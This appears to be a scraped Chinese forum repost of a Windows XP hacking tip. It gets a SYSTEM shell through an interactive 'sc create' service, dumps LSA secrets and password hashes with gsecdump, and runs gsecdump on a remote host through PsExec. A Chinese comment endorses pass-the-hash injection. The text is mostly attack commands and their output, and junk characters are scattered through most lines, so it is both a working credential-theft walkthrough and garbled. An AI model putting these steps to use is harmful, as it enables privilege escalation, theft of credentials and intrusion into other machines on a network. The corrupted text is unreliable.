o get a DOS Prompt as NT system:
9 ~; {$ f, ~/ c% M% c& _/ \2 A' i1 K% Z" }
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
4 w$ B8 C+ _, Y9 h[SC] CreateService SUCCESS
- g% I& v1 m4 `8 m+ M' e$ k
$ U x' S; s5 \ _; x" \9 {2 RC:\>sc start shellcmdline
9 U- N( y- _! _+ F8 B6 K9 a" b9 E9 Z[SC] StartService FAILED 1053:
! ~4 j# _9 e# p6 L3 u5 J/ W6 k; a1 @2 l( D
The service did not respond to the start or control request in a timely fashion.
0 o. B& `0 J$ x7 K4 N7 M6 x& l: g5 y; ]1 c- _
C:\>sc delete shellcmdline
: l0 u# U+ l$ f- m[SC] DeleteService SUCCESS
) Z. j( C& Q; J- q8 L6 z ?
# {0 C; f" ~6 k9 Z1 W$ W9 V$ Q------------
0 W4 I. H/ O) d; a8 r' `
: X9 p. Z5 j- B! ?6 `) sThen in the new DOS window:% q$ n; X8 x' ] b& { V3 ~9 ^) V
% E; R; G; D. c3 ^ CMicrosoft Windows XP [Version 5.1.2600]9 m6 }) I5 n* z1 ~
(C) Copyright 1985-2001 Microsoft Corp.
6 O& r9 _0 c: G' m! W: D2 j, j B" O2 j3 C# ~
C:\WINDOWS\system32>whoami
. q7 l4 W$ f* f6 Y) }NT AUTHORITY\SYSTEM1 c' l% K2 A& P2 U2 g" `& A0 y
( F* Y- r/ P2 `& N9 T0 Q
C:\WINDOWS\system32>gsecdump -h( p4 _* S9 C% s" s) h0 \7 ?( b
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)9 M; K2 E2 W3 [9 F1 c
usage: gsecdump [options]7 t' O$ A `1 z- k; X6 P% l
7 i0 h5 A+ N, Zoptions:
6 o; d- G/ v! L& r-h [ --help ] show help1 M x" j! L# j5 [3 d: F
-a [ --dump_all ] dump all secrets
' N" F$ n/ e6 i, {. z/ |3 L8 p. X-l [ --dump_lsa ] dump lsa secrets
) f' r# M8 K& D+ x) H-w [ --dump_wireless ] dump microsoft wireless connections
0 n2 E' b/ m/ h0 c6 x-u [ --dump_usedhashes ] dump hashes from active logon sessions
1 Q% `& ]& B( a& [! W" A( J" G-s [ --dump_hashes ] dump hashes from SAM/AD$ z7 w/ R% b0 G4 h6 j9 n' j
$ i% V2 G: T0 u# {/ k# D( tAlthough I like to use:+ m7 R$ V% c# f6 }' J8 {
5 r- A: U2 o q% ^
PsExec v1.83 - Execute processes remotely7 x6 o% }8 p6 H& N8 L
Copyright (C) 2001-2007 Mark Russinovich
, `9 n' n# M9 D GSysinternals - 链接标记[url]www.sysinternals.com[/url]
2 _* `2 M( f$ p( L0 m) c6 f1 X
* ~9 F/ h% P) EC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT4 v2 \# x: Q# Q1 k E E% x4 x
/ o2 `1 s' M3 i/ B
to get the hashes from active logon sessions of a remote system.
, ]: n; Q8 L& w0 b4 b: a
+ v8 U R- C$ A% i/ FThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
3 ~5 J- y; v- `
# M u: @0 i9 O: y+ L' g. {! z提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.6 u f2 R2 U% U8 _7 O3 H& l$ [7 d! {
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
2 n+ _9 R; |& Y$ e$ t
; Y) }6 R, |* p5 y! e5 M我看了下原文出处,貌似是/2007/03/16/郁闷啊,差距。
$ N; l |/ \3 `+ v/ q0 P1 F |